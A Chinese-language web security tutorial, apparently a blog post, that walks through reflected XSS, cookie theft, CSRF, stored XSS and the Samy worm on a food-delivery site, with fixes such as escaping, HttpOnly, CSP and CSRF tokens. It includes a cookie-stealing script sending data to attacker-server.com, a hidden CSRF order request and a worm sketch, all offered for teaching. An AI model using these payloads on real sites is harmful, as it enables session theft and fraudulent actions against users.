外卖平台上的XSS与CSRF攻防全解析:从一次弹窗到百万蠕虫

简介: 本文以一次搜索框弹窗事故为引,系统剖析Web安全核心攻击链:从反射型XSS(用户输入未过滤→恶意脚本执行),到Cookie窃取与CSRF身份盗用,再到存储型XSS(评论区持久化攻击),最终演变为Samy蠕虫的指数级传播。涵盖原理、案例、对比及HTTPOnly、CSP、CSRF Token等实用防御方案。(239字)

前言:

之前有个项目,测试环境里随手在搜索框敲了一段调试代码,结果页面直接弹了个窗口出来。当时整个人都愣住了——原来自己写的代码和用户的输入之间,竟然没有做任何隔离。这篇文章就把那次经历的思考整理出来,从反射型XSS到CSRF,再到存储型XSS和蠕虫攻击,一步步拆解Web安全里最经典的攻击链路。

1. 反射型XSS:搜索框里的"恶作剧"

1.1. 一次意外的弹窗

实习第二天,组长让测试外卖平台的餐厅搜索功能。

在搜索框里输入了一段简单的脚本标签:

<script>alert('测试弹窗')</script>

按下回车后,页面立刻弹出了一个对话框。

这说明浏览器把搜索框里输入的内容,当作了正常的网页代码来执行。

问题的根源在于,后端把用户输入的关键词原封不动地拼接到了HTML页面中返回给浏览器,浏览器无法区分哪些是正常内容、哪些是恶意代码,就一股脑全部解析执行了。

1.2. 反射型XSS的工作原理

这种攻击之所以叫"反射型",是因为恶意代码像一面镜子:从用户端发出,经过服务器"反射"回来后,立刻在浏览器中被执行。

整个流程可以概括为三步:

步骤

动作

说明

第一步

构造恶意输入

在搜索框/URL参数中嵌入脚本代码

第二步

服务器反射

后端未做过滤,将输入原样拼接到响应页面

第三步

浏览器执行

浏览器解析响应时,将恶意代码当作正常页面逻辑执行

下面是一段典型的漏洞代码示例(Node.js + Express):

// 危险写法:直接将用户输入拼接到HTML中
app.get('/search', (req, res) => {
    const keyword = req.query.keyword;
    // 未做任何转义,直接拼接
    res.send(`
        <h2>搜索结果:${keyword}</h2>
        <p>没有找到相关餐厅</p>
    `);
});

keyword 的值是 <script>alert(1)</script> 时,返回的HTML就变成了:

<h2>搜索结果:<script>alert(1)</script></h2>

浏览器解析到 <script> 标签时,会直接执行其中的JavaScript代码。

1.3. 反射型XSS的致命弱点

这种攻击有一个明显限制:必须让受害者主动点击那条携带恶意代码的链接,攻击才会生效。

如果用户访问的是正常的、不含恶意参数的页面,就完全不受影响。

换句话说,攻击者需要想办法把精心构造的URL"投喂"给目标用户,比如通过聊天消息、论坛帖子、短信等方式发送链接。

2. Cookie与CSRF:身份盗用的"隐形通行证"

2.1. 外卖平台的登录机制

弹窗本身看起来没什么危害,但深入思考就会发现更大的隐患。

在外卖平台上完成登录后,服务器会给浏览器分配一个身份凭证。

这个凭证就叫做 Cookie,本质上是一小段文本信息,存储在浏览器本地。每次向同一个网站发送请求时,浏览器都会自动把对应的Cookie带上。

服务器正是通过Cookie来识别"当前操作的人是谁"。

可以把它理解为在外卖平台里的"工牌":每次下单、查看订单、修改地址时,系统都靠这张工牌来确认身份。

2.2. 用XSS窃取Cookie

既然Cookie如此重要,那通过XSS攻击就能把它偷走。

下面这段恶意代码可以从浏览器中读取当前页面的所有Cookie,并发送到攻击者控制的服务器:

// 恶意脚本:窃取Cookie并外传
<script>
    // document.cookie 可以读取当前页面的所有Cookie
    var stolenCookies = document.cookie;
    // 通过创建图片请求的方式,将Cookie悄悄发送到攻击者服务器
    var img = new Image();
    img.src = 'https://attacker-server.com/steal?cookies=' + encodeURIComponent(stolenCookies);
</script>

拿到Cookie之后,攻击者只需把它导入自己的浏览器,就能以受害者的身份访问外卖平台。

此时攻击者可以查看历史订单、修改收货地址,甚至使用已绑定的支付方式下单。

2.3. CSRF:借刀杀人的攻击方式

如果说XSS是利用"用户对网站的信任"来执行恶意代码,那么CSRF(跨站请求伪造)则是利用"网站对用户浏览器的信任"来盗用身份执行操作。

CSRF的核心思路是:当用户已经登录了外卖平台,浏览器里存有有效的Cookie,此时诱导用户访问一个恶意页面,该页面会自动向外卖平台发起请求(比如下单、转账),而浏览器会忠实地附带Cookie,服务器根本分不清这个请求到底是用户本人发起的还是被恶意页面触发的。

<!-- 恶意页面中的隐藏表单,用户打开此页面即自动提交 -->
<img src="https://food-delivery.com/api/order?item=999&pay=1" 
     width="0" height="0" style="display:none;" />

用户只是打开了一个看起来无害的网页,浏览器在背后已经替用户向外卖平台发了一笔订单请求。

对比维度

XSS

CSRF

攻击目标

用户(在用户浏览器中执行代码)

网站(冒充用户向网站发送请求)

信任利用

利用用户对网站的信任

利用网站对用户浏览器的信任

Cookie

需要窃取Cookie

不需要窃取,浏览器自动携带

典型场景

搜索框、评论区注入脚本

诱导用户点击恶意链接触发操作

2.4. CSRF的防御手段

针对CSRF攻击,业界已经形成了成熟的防御方案:

# Flask-WTF 内置的CSRF防护示例
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# 所有POST/PUT/DELETE请求都会自动校验CSRF Token
# 前端表单中必须携带 {{ csrf_token() }}

核心思路是给每个表单或请求附加一个随机生成的Token,服务器端校验Token是否匹配。恶意页面无法获取到这个Token,请求自然会被拒绝。

3. 存储型XSS:藏在数据库里的"定时炸弹"

3.1. 从搜索框到评论区

反射型XSS需要每次都"投喂"恶意链接,效率太低。

把目光转向外卖平台的餐厅评论区,情况就完全不同了。

在评论框里输入一段弹窗脚本并提交保存,这条评论会被写入网站后台的数据库。此后任何用户打开这家餐厅的详情页,系统都会从数据库读出这条评论,渲染到页面上。

浏览器在解析页面时,会再次把恶意代码当作正常内容执行。

这就是 存储型XSS:恶意代码不再是一次性的,而是被持久地存储在了服务器端。

3.2. 存储型XSS为什么更危险

与反射型XSS相比,存储型XSS有三个本质区别:

特征

反射型XSS

存储型XSS

恶意代码存储位置

不存储,存在于URL参数中

存储在服务器数据库中

触发条件

用户必须点击特定恶意链接

用户只需正常访问受感染的页面

影响范围

仅影响点击链接的个别用户

影响所有访问该页面的用户

持续性

一次性,关闭页面即失效

持久化,直到恶意数据被清除

存储型XSS曾经是Web 2.0时代排名第一的攻击类型,因为它实现了攻击的持久化,并无限扩大了影响力。

在一个外卖平台上,一条恶意评论可能被成千上万的用户看到,每个打开餐厅详情页的人都会中招。

3.3. 存储型XSS的代码示例

下面展示一段存在漏洞的评论展示逻辑(Java + JSP):

<!-- 危险写法:直接将数据库中的评论内容输出到页面 -->
<div class="comment">
    <p><%= comment.getContent() %></p>
    <span class="author">—— <%= comment.getAuthor() %></span>
</div>

如果 comment.getContent() 的值包含 <script> 标签,浏览器就会执行其中的代码。

安全的做法是对输出内容进行HTML转义:

// 安全写法:对输出内容进行HTML实体转义
String safeContent = HtmlUtils.htmlEscape(comment.getContent());
// <script> 会被转义为 &lt;script&gt;,浏览器不会执行

4. Samy蠕虫:20小时感染百万账户

4.1. 存储型XSS与CSRF的组合拳

如果把存储型XSS和CSRF攻击结合在一起,就能制造出一种自动传播的"蠕虫"。

互联网安全史上最著名的案例之一,就是2005年发生在MySpace平台上的Samy蠕虫事件。

一个名叫Samy Kamkar的安全研究员,在自己的MySpace个人简介页面中嵌入了一段恶意代码。

这段代码做了两件关键的事情:

第一步:自动添加好友。 利用XSS和CSRF的组合,让每一个查看Samy简介的用户,都自动向Samy发送一条添加好友的请求。

第二步:自我复制。 恶意代码会将自身自动复制到访问者的个人简介页面中。

// Samy蠕虫的核心逻辑(简化示意)
// 1. 向Samy发送好友请求
var xhr = new XMLHttpRequest();
xhr.open('POST', '/add_friend.php', true);
xhr.send('friend_id=samy');
// 2. 将恶意代码复制到自己的个人简介中
var profileXhr = new XMLHttpRequest();
profileXhr.open('POST', '/edit_profile.php', true);
profileXhr.send('bio=' + encodeURIComponent(maliciousCode));

4.2. 指数级传播的威力

只需要有10个人浏览了Samy的个人简介,这10个人不仅会自动添加Samy为好友,还会把同样的恶意代码复制到自己的简介页面中。

接下来,这10个人的好友在访问他们的简介时,又会重复同样的过程。

一传十,十传百,仅用了20个小时,超过100万个MySpace账户被感染。

时间

感染账户数

说明

第1小时

~100

最初几轮传播

第5小时

~10,000

指数增长开始显现

第10小时

~200,000

传播速度急剧加快

第20小时

1,000,000+

MySpace被迫临时关闭网站进行清理

这个事件的传播模型可以用一个简单的公式来描述:每一轮传播中,每个被感染的用户会感染其所有查看简介的好友。在实际的社交网络中,这种裂变式传播的速度远超直觉预期。

4.3. Samy蠕虫的深远影响

Samy蠕虫事件直接推动了两项关键安全技术的发展:

HTTPOnly Cookie: 设置此属性后,浏览器前端的JavaScript代码将无法读取Cookie,从而切断了通过XSS窃取Cookie的路径。

# HTTP响应头中设置HTTPOnly Cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

内容安全策略(CSP): 通过在HTTP响应头中声明策略,告诉浏览器只允许执行来自指定来源的脚本,任何用户提供的内联脚本都不可以执行。

# CSP响应头示例:只允许执行本站域名下的脚本
Content-Security-Policy: script-src 'self' https://cdn.example.com

这两项技术从根源上大幅提高了XSS攻击的门槛,至今仍是Web安全防御的核心手段。

5. 三类XSS攻击的完整对比与防御总结

5.1. 攻击类型全景对比

经过前面的逐步拆解,三种攻击方式的差异已经非常清晰:

对比维度

反射型XSS

存储型XSS

XSS蠕虫

代码存储位置

URL参数

服务器数据库

服务器数据库(可自我复制)

触发方式

用户点击恶意链接

用户访问受感染页面

用户访问受感染页面(自动扩散)

攻击范围

单个用户

所有访问该页面的用户

整个平台的用户群体

是否涉及CSRF

不一定

不一定

通常结合CSRF实现自动操作

典型案例

搜索框注入

评论区/个人简介注入

Samy蠕虫(MySpace,2005)

5.2. 防御措施速查表

从开发者角度,以下是一份可以直接落地的防御清单:

防御层面

具体措施

对应威胁

输入过滤

对所有用户输入做HTML实体转义和特殊字符过滤

XSS(全部类型)

输出编码

在页面渲染时对动态内容进行上下文编码(HTML/JS/URL)

XSS(全部类型)

HttpOnly

设置Cookie的HttpOnly属性,禁止JS读取

XSS窃取Cookie

CSP策略

配置Content-Security-Policy响应头,限制脚本来源

XSS(全部类型)

CSRF Token

为所有状态变更请求附加并校验随机Token

CSRF

SameSite

设置Cookie的SameSite属性为Strict或Lax

CSRF

Referer校验

服务端校验请求来源是否合法

CSRF

6. 总结

从外卖平台搜索框里的一个弹窗,到窃取身份凭证、伪造操作请求,再到数据库中的持久化攻击和百万级别的蠕虫传播,这条攻击链路的每一步都建立在同一个基础漏洞之上:服务器没有对用户输入做充分的安全处理

对于开发者来说,最核心的防御原则其实只有一条——永远不要信任用户输入,在输入端做过滤,在输出端做转义。

实际开发中遇到过的XSS或CSRF问题,欢迎在评论区一起讨论 ~(* ̄︶ ̄)

目录
相关文章
|
7天前
|
云安全 人工智能 运维
阿里云联动百位企业安全专家,共识Agent防御最佳实践
当Agent成为新员工,你的安全边界在哪里?
1922 6
阿里云联动百位企业安全专家,共识Agent防御最佳实践
|
5天前
|
存储 人工智能 关系型数据库
阿里云AI产品与云产品最新组合套餐:Token Plan、AI coding及云服务器和建站等组合优惠价
阿里云推出全新“算力+模型+应用”一站式云与AI组合套餐活动,覆盖从个人开发者到中大型企业的全场景需求。核心亮点为分三档定价的Token Plan订阅服务,支持Qwen3.8-Max-Preview大模型调用,错峰时段最低可享0.2折优惠。活动同步推出AI Coding、智能体部署、云电脑托管、0代码建站等十余类场景化组合,搭配99元/年的普惠云服务器、88元/年的入门数据库等经典特惠产品,还为企业提供1V1定制化AI转型方案,大幅降低了不同用户群体拥抱AI的技术门槛与采购成本。
652 111
|
15天前
|
人工智能 JSON 安全
Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
阿里云AI安全产品联动防御Fastjson攻击
2556 13
Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
|
7天前
|
人工智能 弹性计算 数据库
阿里云优惠券种类解析:主要券种区别和适用群体及领取和使用指南
2026年阿里云构建了覆盖全用户的七类优惠券,本文逐一拆解了每类优惠券的核心规则、适用人群与使用技巧:大促限定的阶梯满减券分个人、企业双通道,最高可减800元;学生专属300元无门槛券支持全品类通用;按量付费用户可参与消费达标返券形成循环优惠;新用户有低门槛专享满减券尝鲜;老用户可领取系统自动发放的随机福利券;中大型企业迁云可申请最高100万元的专项补贴;云产品通用券还能在活动价基础上实现折上折。不同身份、不同采购场景的用户均可通过精准匹配对应优惠券,最大化享受优惠力度。
462 110
阿里云优惠券种类解析:主要券种区别和适用群体及领取和使用指南
|
13天前
|
人工智能 前端开发 Linux
Codex 桌面版安装 + CC Switch 接入第三方 API 完整教程(2026 最新)
2026最新教程:手把手教你安装Codex桌面版,通过CC Switch v3.17.0一键接入Fenno等国产API(兼容OpenAI Responses格式),跳过账号登录,完整启用代码审查、多步任务与上下文感知功能。零基础友好,全程图文实操。(239字)
1620 2
|
15天前
|
人工智能 自然语言处理 数据挖掘
Qwen3.8-Max-Preview深度全解析:2.4万亿参数旗舰MoE模型+Token Plan限时优惠完整落地指南
2026年7月,全新旗舰级混合专家大模型Qwen3.8-Max-Preview正式开放抢先体验,作为通义千问Qwen3系列规格最高、综合推理能力顶尖的新一代模型,该模型总参数量达到2.4万亿(2.4T),是当前线上可调用的原生多模态旗舰模型,综合推理水准对标海外顶级Fable 5模型,在复杂工程开发、长文档深度分析、多步骤智能体自治、跨境多语言创作、海量数据挖掘五大高难度业务场景实现跨越式性能提升。
1428 2
|
17天前
|
人工智能
Qwen3.8抢先体验!正式版即将发布并开源!
千问Qwen3.8即将开源,参数达2.4T,进化速度以“天”计,实力媲美Fable 5。预览版Qwen3.8-Max已上线阿里Token Plan等平台,限时优惠:日间Credits低至1折,夜间更优,个人/团队版月付仅35元起!
1499 55
|
2天前
Qoder 一周年 × Qwen3.8-Max 正式上线,多重好礼限时领
8月3日,Qwen3.8-Max 正式上线Qoder,迎来Qoder一周年。新老用户可领800次免费调用,下单再赠2000次;夜间(22:00–08:00)调用5折;邀请好友双方得积分与调用额度。
249 0

热门文章

最新文章